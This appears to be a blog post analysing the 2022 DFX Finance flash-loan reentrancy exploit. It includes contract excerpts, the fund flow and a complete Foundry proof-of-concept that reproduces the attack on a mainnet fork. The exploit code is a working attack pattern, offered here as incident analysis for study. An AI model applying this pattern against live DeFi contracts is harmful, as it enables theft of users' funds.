03.DFX Finance @Reentrancy@flashloan
2023-09-18 11:08:22 # 08.PoC

DFX Finance @Reentrancy@flashloan

KEY WORDS: flashloan, reentrancy

ATTACK TIME: 2022.11.11

LOSSES:4 million$

Event Background

DFX is an Ethereum-based decentralized exchange protocol with a dynamically tuned bonding curve optimized for fiat-backed stablecoins (like USDC, CADC, EURS, XSGD, etc) using real-world FX price feeds.

Tx Details

  • one of attack txs

    • hacker contract: 0x6cfa86a352339e766ff1ca119c8c40824f41f22d

    • dfx-xidr-v2 contract: 0x46161158b1947d9149e066d6d31af1283b2d377c

  • fund change

  • 0x27e843260c71443b4cc8cb6bf226c3f77b9695af: it is a multi wallet that receives fee with the flashloan().

  • fund flow
    • [1] [2]: hacker borrowed a lot of USDC and XIDR from dfx
    • [3] [4]: hacker paid back USDC and XIDR to dfx
    • [5] : token dfx-xidr-v2 was minted to hacker
    • [6] [7] : DFX multi wallet receives some USDC and XIDR as fee of flashloan()
    • [8] : hacker burned token dfx-xidr-v2

Attack Process

The entire attack process

1.preparation

why hacker called viewDeposit()?

Hacker wanted to know how much token pair he should deposit to get 200,000*1e18 token dfx-xidr-v2

1
2
3
4
5
6
7
8
9
/// @notice view deposits and curves minted a given deposit would return
/// @param _deposit the full amount of stablecoins you want to deposit. Divided evenly according to the
/// prevailing proportions of the numeraire assets of the pool
/// @return (the amount of curves you receive in return for your deposit,
/// the amount deposited for each numeraire)
function viewDeposit(uint256 _deposit) external view transactable returns (uint256, uint256[] memory) {
// curvesToMint_, depositsToMake_
return ProportionalLiquidity.viewProportionalDeposit(curve, _deposit);
}

2.flashloan

in flash() we know it is similar to uniswapV2’s flashloan()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external transactable noDelegateCall isNotEmergency {
uint256 fee = curve.epsilon.mulu(1e18);

require(IERC20(derivatives[0]).balanceOf(address(this)) > 0, 'Curve/token0-zero-liquidity-depth');
require(IERC20(derivatives[1]).balanceOf(address(this)) > 0, 'Curve/token1-zero-liquidity-depth');

// calculate the fee and money
uint256 fee0 = FullMath.mulDivRoundingUp(amount0, fee, 1e18);
uint256 fee1 = FullMath.mulDivRoundingUp(amount1, fee, 1e18);
uint256 balance0Before = IERC20(derivatives[0]).balanceOf(address(this));
uint256 balance1Before = IERC20(derivatives[1]).balanceOf(address(this));

// lend money
if (amount0 > 0) IERC20(derivatives[0]).safeTransfer(recipient, amount0);
if (amount1 > 0) IERC20(derivatives[1]).safeTransfer(recipient, amount1);

// fallabck
IFlashCallback(msg.sender).flashCallback(fee0, fee1, data);

uint256 balance0After = IERC20(derivatives[0]).balanceOf(address(this));
uint256 balance1After = IERC20(derivatives[1]).balanceOf(address(this));

// check the balance
require(balance0Before.add(fee0) <= balance0After, 'Curve/insufficient-token0-returned');
require(balance1Before.add(fee1) <= balance1After, 'Curve/insufficient-token1-returned');

// sub is safe because we know balanceAfter is gt balanceBefore by at least fee
uint256 paid0 = balance0After - balance0Before;
uint256 paid1 = balance1After - balance1Before;

IERC20(derivatives[0]).safeTransfer(owner, paid0);
IERC20(derivatives[1]).safeTransfer(owner, paid1);

emit Flash(msg.sender, recipient, amount0, amount1, paid0, paid1);
}

3.pay back for flashloan

4.flashCallBack

deposit():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/// @notice deposit into the pool with no slippage from the numeraire assets the pool supports
/// @param _deposit the full amount you want to deposit into the pool which will be divided up evenly amongst
/// the numeraire assets of the pool
/// @return (the amount of curves you receive in return for your deposit,
/// the amount deposited for each numeraire)
function deposit(uint256 _deposit, uint256 _deadline)
external
deadline(_deadline)
transactable
nonReentrant
noDelegateCall
notInWhitelistingStage
isNotEmergency
returns (uint256, uint256[] memory)
{
// (curvesMinted_, deposits_)
return ProportionalLiquidity.proportionalDeposit(curve, _deposit);
}

Hacker deposited USDC and XIDR that he got in flashloan to mint token dfx-xidr-usdc. Attention, hacker did deposit meaned that contract dfx-xidr-usdc would receive this USDC and XIDR, resulting at pass these checking:

1
2
require(balance0Before.add(fee0) <= balance0After, 'Curve/insufficient-token0-returned');
require(balance1Before.add(fee1) <= balance1After, 'Curve/insufficient-token1-returned');

5.withdraw&exploit

Vulnerability Analysis

attack logic is the same as Damn Vulnerable DeFi CTF’s Side Entrance.

Attack Recurrence

GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @KeyInfo

// key words: @flashloan @reentrancy
// date: 2022.11.11
// total Lost: 4 million$
// network: Mainnet
// Attacker:
// Attack Contract: 0x6cfa86a352339e766ff1ca119c8c40824f41f22d
// Vulnerable Contract: 0x46161158b1947d9149e066d6d31af1283b2d377c
// Attack Tx: 0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7

// @Info
// Vulnerable Contract Code : 0x46161158b1947d9149e066d6d31af1283b2d377c

// @Analysis
// blog: https://www.levi104.com/2023/07/15/08.PoC/03.DFX%20Finance%20@Reentrancy@flashloan/


contract DFXTest is DSTest{
IERC20 XIDR = IERC20(0xebF2096E01455108bAdCbAF86cE30b6e5A72aa52);
IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
Uni_Router_V3 Router = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);
Curve dfx = Curve(0x46161158b1947D9149E066d6d31AF1283b2d377C);
uint256 receiption;

CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

function setUp() public {
cheats.createSelectFork("mainnet", 15941703);
}

function testExploit() public{
address(WETH).call{value: 2 ether}("");
WETH.approve(address(Router), type(uint).max);
USDC.approve(address(Router), type(uint).max);
USDC.approve(address(dfx), type(uint).max);
XIDR.approve(address(Router), type(uint).max);
XIDR.approve(address(dfx), type(uint).max);

WETHToUSDC();

emit log_named_decimal_uint(
"[Before] Attacker USDC balance before exploit",
USDC.balanceOf(address(this)),
6
);

USDCToXIDR();
uint[] memory XIDR_USDC = new uint[](2);
XIDR_USDC[0] = 0;
XIDR_USDC[1] = 0;
( , XIDR_USDC) = dfx.viewDeposit(200_000 * 1e18);
dfx.flash(address(this), XIDR_USDC[0] * 995 / 1000, XIDR_USDC[1] * 995 / 1000, new bytes(1)); // 5% fee
dfx.withdraw(receiption, block.timestamp + 60);
XIDRToUSDC();

emit log_named_decimal_uint(
"[End] Attacker USDC balance after exploit",
USDC.balanceOf(address(this)),
6
);

}

function flashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external{
(receiption, ) = dfx.deposit(200_000 * 1e18, block.timestamp + 60);
}

function WETHToUSDC() internal{
Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({
tokenIn: address(WETH),
tokenOut: address(USDC),
fee: 500,
recipient: address(this),
deadline: block.timestamp,
amountIn: WETH.balanceOf(address(this)),
amountOutMinimum: 0,
sqrtPriceLimitX96: 0
});
Router.exactInputSingle(_Params);
}

function USDCToXIDR() internal{
Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({
tokenIn: address(USDC),
tokenOut: address(XIDR),
fee: 500,
recipient: address(this),
deadline: block.timestamp,
amountIn: USDC.balanceOf(address(this)) / 2,
amountOutMinimum: 0,
sqrtPriceLimitX96: 0
});
Router.exactInputSingle(_Params);
}

function XIDRToUSDC() internal{
Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({
tokenIn: address(XIDR),
tokenOut: address(USDC),
fee: 500,
recipient: address(this),
deadline: block.timestamp,
amountIn: XIDR.balanceOf(address(this)) / 2,
amountOutMinimum: 0,
sqrtPriceLimitX96: 0
});
Router.exactInputSingle(_Params);
}

}

Remediation

fixed flashloan() checking logic

Prev
2023-09-18 11:08:22 # 08.PoC
Next